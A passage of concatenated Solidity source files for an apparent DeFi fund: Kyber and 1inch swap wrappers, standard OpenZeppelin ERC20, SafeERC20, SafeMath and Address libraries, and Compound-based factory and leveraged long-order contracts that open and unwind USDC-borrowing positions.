uint256 constant internal ETH_DECIMALS = 18;
uint256 constant internal MAX_DECIMALS = 18;
constructor(
address _usdcAddr,
address payable _kyberAddr,
address payable _oneInchAddr
) public {
USDC_ADDR = _usdcAddr;
KYBER_ADDR = _kyberAddr;
ONEINCH_ADDR = _oneInchAddr;
usdc = ERC20Detailed(_usdcAddr);
kyber = KyberNetwork(_kyberAddr);
}
/**
* @notice Get the number of decimals of a token
* @param _token the token to be queried
* @return number of decimals
*/
function getDecimals(ERC20Detailed _token) internal view returns(uint256) {
if (address(_token) == address(ETH_TOKEN_ADDRESS)) {
return uint256(ETH_DECIMALS);
}
return uint256(_token.decimals());
}
/**
* @notice Get the token balance of an account
* @param _token the token to be queried
* @param _addr the account whose balance will be returned
* @return token balance of the account
*/
function getBalance(ERC20Detailed _token, address _addr) internal view returns(uint256) {
if (address(_token) == address(ETH_TOKEN_ADDRESS)) {
return uint256(_addr.balance);
}
return uint256(_token.balanceOf(_addr));
}
/**
* @notice Calculates the rate of a trade. The rate is the price of the source token in the dest token, in 18 decimals.
* Note: the rate is on the token level, not the wei level, so for example if 1 Atoken = 10 Btoken, then the rate
* from A to B is 10 * 10**18, regardless of how many decimals each token uses.
* @param srcAmount amount of source token
* @param destAmount amount of dest token
* @param srcDecimals decimals used by source token
* @param dstDecimals decimals used by dest token
*/
function calcRateFromQty(uint256 srcAmount, uint256 destAmount, uint256 srcDecimals, uint256 dstDecimals)
internal pure returns(uint)
{
require(srcAmount <= MAX_QTY);
require(destAmount <= MAX_QTY);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION / ((10 ** (dstDecimals - srcDecimals)) * srcAmount));
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION * (10 ** (srcDecimals - dstDecimals)) / srcAmount);
}
}
/**
* @notice Wrapper function for doing token conversion on Kyber Network
* @param _srcToken the token to convert from
* @param _srcAmount the amount of tokens to be converted
* @param _destToken the destination token
* @return _destPriceInSrc the price of the dest token, in terms of source tokens
* _srcPriceInDest the price of the source token, in terms of dest tokens
* _actualDestAmount actual amount of dest token traded
* _actualSrcAmount actual amount of src token traded
*/
function __kyberTrade(ERC20Detailed _srcToken, uint256 _srcAmount, ERC20Detailed _destToken)
internal
returns(
uint256 _destPriceInSrc,
uint256 _srcPriceInDest,
uint256 _actualDestAmount,
uint256 _actualSrcAmount
)
{
require(_srcToken != _destToken);
uint256 beforeSrcBalance = getBalance(_srcToken, address(this));
uint256 msgValue;
if (_srcToken != ETH_TOKEN_ADDRESS) {
msgValue = 0;
_srcToken.safeApprove(KYBER_ADDR, 0);
_srcToken.safeApprove(KYBER_ADDR, _srcAmount);
} else {
msgValue = _srcAmount;
}
_actualDestAmount = kyber.tradeWithHint.value(msgValue)(
_srcToken,
_srcAmount,
_destToken,
toPayableAddr(address(this)),
MAX_QTY,
1,
address(0),
PERM_HINT
);
_actualSrcAmount = beforeSrcBalance.sub(getBalance(_srcToken, address(this)));
require(_actualDestAmount > 0 && _actualSrcAmount > 0);
_destPriceInSrc = calcRateFromQty(_actualDestAmount, _actualSrcAmount, getDecimals(_destToken), getDecimals(_srcToken));
_srcPriceInDest = calcRateFromQty(_actualSrcAmount, _actualDestAmount, getDecimals(_srcToken), getDecimals(_destToken));
}
/**
* @notice Wrapper function for doing token conversion on 1inch
* @param _srcToken the token to convert from
* @param _srcAmount the amount of tokens to be converted
* @param _destToken the destination token
* @return _destPriceInSrc the price of the dest token, in terms of source tokens
* _srcPriceInDest the price of the source token, in terms of dest tokens
* _actualDestAmount actual amount of dest token traded
* _actualSrcAmount actual amount of src token traded
*/
function __oneInchTrade(ERC20Detailed _srcToken, uint256 _srcAmount, ERC20Detailed _destToken, bytes memory _calldata)
internal
returns(
uint256 _destPriceInSrc,
uint256 _srcPriceInDest,
uint256 _actualDestAmount,
uint256 _actualSrcAmount
)
{
require(_srcToken != _destToken);
uint256 beforeSrcBalance = getBalance(_srcToken, address(this));
uint256 beforeDestBalance = getBalance(_destToken, address(this));
// Note: _actualSrcAmount is being used as msgValue here, because otherwise we'd run into the stack too deep error
if (_srcToken != ETH_TOKEN_ADDRESS) {
_actualSrcAmount = 0;
OneInchExchange dex = OneInchExchange(ONEINCH_ADDR);
address approvalHandler = dex.spender();
_srcToken.safeApprove(approvalHandler, 0);
_srcToken.safeApprove(approvalHandler, _srcAmount);
} else {
_actualSrcAmount = _srcAmount;
}
// trade through 1inch proxy
(bool success,) = ONEINCH_ADDR.call.value(_actualSrcAmount)(_calldata);
require(success);
// calculate trade amounts and price
_actualDestAmount = getBalance(_destToken, address(this)).sub(beforeDestBalance);
_actualSrcAmount = beforeSrcBalance.sub(getBalance(_srcToken, address(this)));
require(_actualDestAmount > 0 && _actualSrcAmount > 0);
_destPriceInSrc = calcRateFromQty(_actualDestAmount, _actualSrcAmount, getDecimals(_destToken), getDecimals(_srcToken));
_srcPriceInDest = calcRateFromQty(_actualSrcAmount, _actualDestAmount, getDecimals(_srcToken), getDecimals(_destToken));
}
/**
* @notice Checks if an Ethereum account is a smart contract
* @param _addr the account to be checked
* @return True if the account is a smart contract, false otherwise
*/
function isContract(address _addr) internal view returns(bool) {
uint256 size;
if (_addr == address(0)) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function toPayableAddr(address _addr) internal pure returns (address payable) {
return address(uint160(_addr));
}
}
pragma solidity ^0.5.0;
import "./IERC20.sol";
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
pragma solidity 0.5.17;
import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol";
/**
* @title The interface for the Kyber Network smart contract
* @author Zefram Lou (Zebang Liu)
*/
interface KyberNetwork {
function getExpectedRate(ERC20Detailed src, ERC20Detailed dest, uint srcQty) external view
returns (uint expectedRate, uint slippageRate);
function tradeWithHint(
ERC20Detailed src, uint srcAmount, ERC20Detailed dest, address payable destAddress, uint maxDestAmount,
uint minConversionRate, address walletId, bytes calldata hint) external payable returns(uint);
}
pragma solidity 0.5.17;
interface OneInchExchange {
function spender() external view returns (address);
}
pragma solidity 0.5.17;
import "./LongCERC20Order.sol";
import "./LongCEtherOrder.sol";
import "./ShortCERC20Order.sol";
import "./ShortCEtherOrder.sol";
import "../lib/CloneFactory.sol";
contract CompoundOrderFactory is CloneFactory {
address public SHORT_CERC20_LOGIC_CONTRACT;
address public SHORT_CEther_LOGIC_CONTRACT;
address public LONG_CERC20_LOGIC_CONTRACT;
address public LONG_CEther_LOGIC_CONTRACT;
address public USDC_ADDR;
address payable public KYBER_ADDR;
address public COMPTROLLER_ADDR;
address public ORACLE_ADDR;
address public CUSDC_ADDR;
address public CETH_ADDR;
constructor(
address _shortCERC20LogicContract,
address _shortCEtherLogicContract,
address _longCERC20LogicContract,
address _longCEtherLogicContract,
address _usdcAddr,
address payable _kyberAddr,
address _comptrollerAddr,
address _priceOracleAddr,
address _cUSDCAddr,
address _cETHAddr
) public {
SHORT_CERC20_LOGIC_CONTRACT = _shortCERC20LogicContract;
SHORT_CEther_LOGIC_CONTRACT = _shortCEtherLogicContract;
LONG_CERC20_LOGIC_CONTRACT = _longCERC20LogicContract;
LONG_CEther_LOGIC_CONTRACT = _longCEtherLogicContract;
USDC_ADDR = _usdcAddr;
KYBER_ADDR = _kyberAddr;
COMPTROLLER_ADDR = _comptrollerAddr;
ORACLE_ADDR = _priceOracleAddr;
CUSDC_ADDR = _cUSDCAddr;
CETH_ADDR = _cETHAddr;
}
function createOrder(
address _compoundTokenAddr,
uint256 _cycleNumber,
uint256 _stake,
uint256 _collateralAmountInUSDC,
uint256 _loanAmountInUSDC,
bool _orderType
) external returns (CompoundOrder) {
require(_compoundTokenAddr != address(0));
CompoundOrder order;
address payable clone;
if (_compoundTokenAddr != CETH_ADDR) {
if (_orderType) {
// Short CERC20 Order
clone = toPayableAddr(createClone(SHORT_CERC20_LOGIC_CONTRACT));
} else {
// Long CERC20 Order
clone = toPayableAddr(createClone(LONG_CERC20_LOGIC_CONTRACT));
}
} else {
if (_orderType) {
// Short CEther Order
clone = toPayableAddr(createClone(SHORT_CEther_LOGIC_CONTRACT));
} else {
// Long CEther Order
clone = toPayableAddr(createClone(LONG_CEther_LOGIC_CONTRACT));
}
}
order = CompoundOrder(clone);
order.init(_compoundTokenAddr, _cycleNumber, _stake, _collateralAmountInUSDC, _loanAmountInUSDC, _orderType,
USDC_ADDR, KYBER_ADDR, COMPTROLLER_ADDR, ORACLE_ADDR, CUSDC_ADDR, CETH_ADDR);
order.transferOwnership(msg.sender);
return order;
}
function getMarketCollateralFactor(address _compoundTokenAddr) external view returns (uint256) {
Comptroller troll = Comptroller(COMPTROLLER_ADDR);
(, uint256 factor) = troll.markets(_compoundTokenAddr);
return factor;
}
function tokenIsListed(address _compoundTokenAddr) external view returns (bool) {
Comptroller troll = Comptroller(COMPTROLLER_ADDR);
(bool isListed,) = troll.markets(_compoundTokenAddr);
return isListed;
}
function toPayableAddr(address _addr) internal pure returns (address payable) {
return address(uint160(_addr));
}
}
pragma solidity 0.5.17;
import "./CompoundOrder.sol";
contract LongCERC20Order is CompoundOrder {
modifier isValidPrice(uint256 _minPrice, uint256 _maxPrice) {
// Ensure token's price is between _minPrice and _maxPrice
uint256 tokenPrice = ORACLE.getUnderlyingPrice(compoundTokenAddr); // Get the longing token's price in USD
require(tokenPrice > 0); // Ensure asset exists on Compound
require(tokenPrice >= _minPrice && tokenPrice <= _maxPrice); // Ensure price is within range
_;
}
function executeOrder(uint256 _minPrice, uint256 _maxPrice)
public
onlyOwner
isValidToken(compoundTokenAddr)
isValidPrice(_minPrice, _maxPrice)
{
buyTime = now;
// Get funds in USDC from PeakDeFiFund
usdc.safeTransferFrom(owner(), address(this), collateralAmountInUSDC); // Transfer USDC from PeakDeFiFund
// Convert received USDC to longing token
(,uint256 actualTokenAmount) = __sellUSDCForToken(collateralAmountInUSDC);
// Enter Compound markets
CERC20 market = CERC20(compoundTokenAddr);
address[] memory markets = new address[](2);
markets[0] = compoundTokenAddr;
markets[1] = address(CUSDC);
uint[] memory errors = COMPTROLLER.enterMarkets(markets);
require(errors[0] == 0 && errors[1] == 0);
// Get loan from Compound in USDC
ERC20Detailed token = __underlyingToken(compoundTokenAddr);
token.safeApprove(compoundTokenAddr, 0); // Clear token allowance of Compound
token.safeApprove(compoundTokenAddr, actualTokenAmount); // Approve token transfer to Compound
require(market.mint(actualTokenAmount) == 0); // Transfer tokens into Compound as supply
token.safeApprove(compoundTokenAddr, 0); // Clear token allowance of Compound
require(CUSDC.borrow(loanAmountInUSDC) == 0);// Take out loan in USDC
(bool negLiquidity, ) = getCurrentLiquidityInUSDC();
require(!negLiquidity); // Ensure account liquidity is positive
// Convert borrowed USDC to longing token
__sellUSDCForToken(loanAmountInUSDC);
// Repay leftover USDC to avoid complications
if (usdc.balanceOf(address(this)) > 0) {
uint256 repayAmount = usdc.balanceOf(address(this));
usdc.safeApprove(address(CUSDC), 0);
usdc.safeApprove(address(CUSDC), repayAmount);
require(CUSDC.repayBorrow(repayAmount) == 0);
usdc.safeApprove(address(CUSDC), 0);
}
}
function sellOrder(uint256 _minPrice, uint256 _maxPrice)
public
onlyOwner
isValidPrice(_minPrice, _maxPrice)
returns (uint256 _inputAmount, uint256 _outputAmount)
{
require(buyTime > 0); // Ensure the order has been executed
require(isSold == false);
isSold = true;
// Siphon remaining collateral by repaying x USDC and getting back 1.5x USDC collateral
// Repeat to ensure debt is exhausted
CERC20 market = CERC20(compoundTokenAddr);
ERC20Detailed token = __underlyingToken(compoundTokenAddr);
for (uint256 i = 0; i < MAX_REPAY_STEPS; i++) {
uint256 currentDebt = getCurrentBorrowInUSDC();
if (currentDebt > NEGLIGIBLE_DEBT) {
// Determine amount to be repaid this step
uint256 currentBalance = getCurrentCashInUSDC();
uint256 repayAmount = 0; // amount to be repaid in USDC
if (currentDebt <= currentBalance) {
// Has enough money, repay all debt
repayAmount = currentDebt;
} else {
// Doesn't have enough money, repay whatever we can repay
repayAmount = currentBalance;
}
// Repay debt
repayLoan(repayAmount);
}
// Withdraw all available liquidity
(bool isNeg, uint256 liquidity) = getCurrentLiquidityInUSDC();
if (!isNeg) {
liquidity = __usdcToToken(compoundTokenAddr, liquidity);
uint256 errorCode = market.redeemUnderlying(liquidity.mul(PRECISION.sub(DEFAULT_LIQUIDITY_SLIPPAGE)).div(PRECISION));
if (errorCode != 0) {
// error
// try again with fallback slippage
errorCode = market.redeemUnderlying(liquidity.mul(PRECISION.sub(FALLBACK_LIQUIDITY_SLIPPAGE)).div(PRECISION));
if (errorCode != 0) {
// error
// try again with max slippage
market.redeemUnderlying(liquidity.mul(PRECISION.sub(MAX_LIQUIDITY_SLIPPAGE)).div(PRECISION));
}
}
}
if (currentDebt <= NEGLIGIBLE_DEBT) {
break;
}
}
// Sell all longing token to USDC
__sellTokenForUSDC(token.balanceOf(address(this)));
// Send USDC back to PeakDeFiFund and return
_inputAmount = collateralAmountInUSDC;
_outputAmount = usdc.balanceOf(address(this));
outputAmount = _outputAmount;
usdc.safeTransfer(owner(), usdc.balanceOf(address(this)));
uint256 leftoverTokens = token.balanceOf(address(this));
if (leftoverTokens > 0) {
token.safeTransfer(owner(), leftoverTokens); // Send back potential leftover tokens
}
}
// Allows manager to repay loan to avoid liquidation
function repayLoan(uint256 _repayAmountInUSDC) public onlyOwner {
require(buyTime > 0); // Ensure the order has been executed
// Convert longing token to USDC
uint256 repayAmountInToken = __usdcToToken(compoundTokenAddr, _repayAmountInUSDC);
(uint256 actualUSDCAmount,) = __sellTokenForUSDC(repayAmountInToken);
// Check if amount is greater than borrow balance
uint256 currentDebt = CUSDC.borrowBalanceCurrent(address(this));
if (actualUSDCAmount > currentDebt) {
actualUSDCAmount = currentDebt;
}
// Repay loan to Compound
usdc.safeApprove(address(CUSDC), 0);
usdc.safeApprove(address(CUSDC), actualUSDCAmount);
require(CUSDC.repayBorrow(actualUSDCAmount) == 0);
usdc.safeApprove(address(CUSDC), 0);
}
function getMarketCollateralFactor() public view returns (uint256) {
(, uint256 ratio) = COMPTROLLER.markets(address(compoundTokenAddr));
return ratio;
}
function getCurrentCollateralInUSDC() public returns (uint256 _amount) {
CERC20 market = CERC20(compoundTokenAddr);
uint256 supply = __tokenToUSDC(compoundTokenAddr, market.balanceOf(address(this)).mul(market.exchangeRateCurrent()).div(PRECISION));
return supply;
}
function getCurrentBorrowInUSDC() public returns (uint256 _amount) {
uint256 borrow = CUSDC.borrowBalanceCurrent(address(this));
return borrow;
}
function getCurrentCashInUSDC() public view returns (uint256 _amount) {
ERC20Detailed token = __underlyingToken(compoundTokenAddr);
uint256 cash = __tokenToUSDC(compoundTokenAddr, getBalance(token, address(this)));
return cash;
}
}
pragma solidity 0.5.17;
import "./CompoundOrder.sol";
contract LongCEtherOrder is CompoundOrder {
modifier isValidPrice(uint256 _minPrice, uint256 _maxPrice) {
// Ensure token's price is between _minPrice and _maxPrice
uint256 tokenPrice = ORACLE.getUnderlyingPrice(compoundTokenAddr); // Get the longing token's price in USD
require(tokenPrice > 0); // Ensure asset exists on Compound
require(tokenPrice >= _minPrice && tokenPrice <= _maxPrice); // Ensure price is within range
_;
}
function executeOrder(uint256 _minPrice, uint256 _maxPrice)
public
onlyOwner
isValidToken(compoundTokenAddr)
isValidPrice(_minPrice, _maxPrice)
{
buyTime = now;
// Get funds in USDC from PeakDeFiFund
usdc.safeTransferFrom(owner(), address(this), collateralAmountInUSDC); // Transfer USDC from PeakDeFiFund
// Convert received USDC to longing token
(,uint256 actualTokenAmount) = __sellUSDCForToken(collateralAmountInUSDC);
// Enter Compound markets
CEther market = CEther(compoundTokenAddr);
address[] memory markets = new address[](2);
markets[0] = compoundTokenAddr;
markets[1] = address(CUSDC);
uint[] memory errors = COMPTROLLER.enterMarkets(markets);
require(errors[0] == 0 && errors[1] == 0);
// Get loan from Compound in USDC
market.mint.value(actualTokenAmount)(); // Transfer tokens into Compound as supply
require(CUSDC.borrow(loanAmountInUSDC) == 0);// Take out loan in USDC
(bool negLiquidity, ) = getCurrentLiquidityInUSDC();
require(!negLiquidity); // Ensure account liquidity is positive
// Convert borrowed USDC to longing token
__sellUSDCForToken(loanAmountInUSDC);
// Repay leftover USDC to avoid complications
if (usdc.balanceOf(address(this)) > 0) {
uint256 repayAmount = usdc.balanceOf(address(this));
usdc.safeApprove(address(CUSDC), 0);
usdc.safeApprove(address(CUSDC), repayAmount);
require(CUSDC.repayBorrow(repayAmount) == 0);
usdc.safeApprove(address(CUSDC), 0);
}
}
function sellOrder(uint256 _minPrice, uint256 _maxPrice)
public
onlyOwner
isValidPrice(_minPrice, _maxPrice)
returns (uint256 _inputAmount, uint256 _outputAmount)
{
require(buyTime > 0); // Ensure the order has been executed
require(isSold == false);
isSold = true;
// Siphon remaining collateral by repaying x USDC and getting back 1.5x USDC collateral
// Repeat to ensure debt is exhausted
CEther market = CEther(compoundTokenAddr);
for (uint256 i = 0; i < MAX_REPAY_STEPS; i++) {
uint256 currentDebt = getCurrentBorrowInUSDC();
if (currentDebt > NEGLIGIBLE_DEBT) {
// Determine amount to be repaid this step
uint256 currentBalance = getCurrentCashInUSDC();
uint256 repayAmount = 0; // amount to be repaid in USDC
if (currentDebt <= currentBalance) {
// Has enough money, repay all debt
repayAmount = currentDebt;
} else {
// Doesn't have enough money, repay whatever we can repay
repayAmount = currentBalance;
}
// Repay debt
repayLoan(repayAmount);
}
// Withdraw all available liquidity
(bool isNeg, uint256 liquidity) = getCurrentLiquidityInUSDC();
if (!isNeg) {
liquidity = __usdcToToken(compoundTokenAddr, liquidity);
uint256 errorCode = market.redeemUnderlying(liquidity.mul(PRECISION.sub(DEFAULT_LIQUIDITY_SLIPPAGE)).div(PRECISION));
if (errorCode != 0) {
// error
// try again with fallback slippage
errorCode = market.redeemUnderlying(liquidity.mul(PRECISION.sub(FALLBACK_LIQUIDITY_SLIPPAGE)).div(PRECISION));
if (errorCode != 0) {
// error
// try again with max slippage
market.redeemUnderlying(liquidity.mul(PRECISION.sub(MAX_LIQUIDITY_SLIPPAGE)).div(PRECISION));
}
}
}
if (currentDebt <= NEGLIGIBLE_DEBT) {
break;
}
}
// Sell all longing token to USDC
__sellTokenForUSDC(address(this).balance);
// Send USDC back to PeakDeFiFund and return
_inputAmount = collateralAmountInUSDC;
_outputAmount = usdc.balanceOf(address(this));
outputAmount = _outputAmount;
usdc.safeTransfer(owner(), usdc.balanceOf(address(this)));
toPayableAddr(owner()).transfer(address(this).balance); // Send back potential leftover tokens
}
// Allows manager to repay loan to avoid liquidation
